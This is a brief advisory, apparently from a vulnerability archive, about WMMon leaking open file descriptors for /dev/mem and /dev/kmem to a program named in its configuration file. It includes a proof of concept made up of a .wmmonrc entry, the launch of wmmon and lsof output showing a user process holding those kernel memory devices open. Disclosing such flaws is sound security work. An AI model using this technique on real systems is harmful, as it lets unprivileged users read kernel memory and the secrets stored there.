WMMon Memory Character File Open File Descriptor Read Vulnerability

The following proof of concept has been made available:

bash-2.05a$ cat .wmmonrc
left "/home/dim/dummy"
bash-2.05a$ wmmon &
[1] 793
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1

bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem


 

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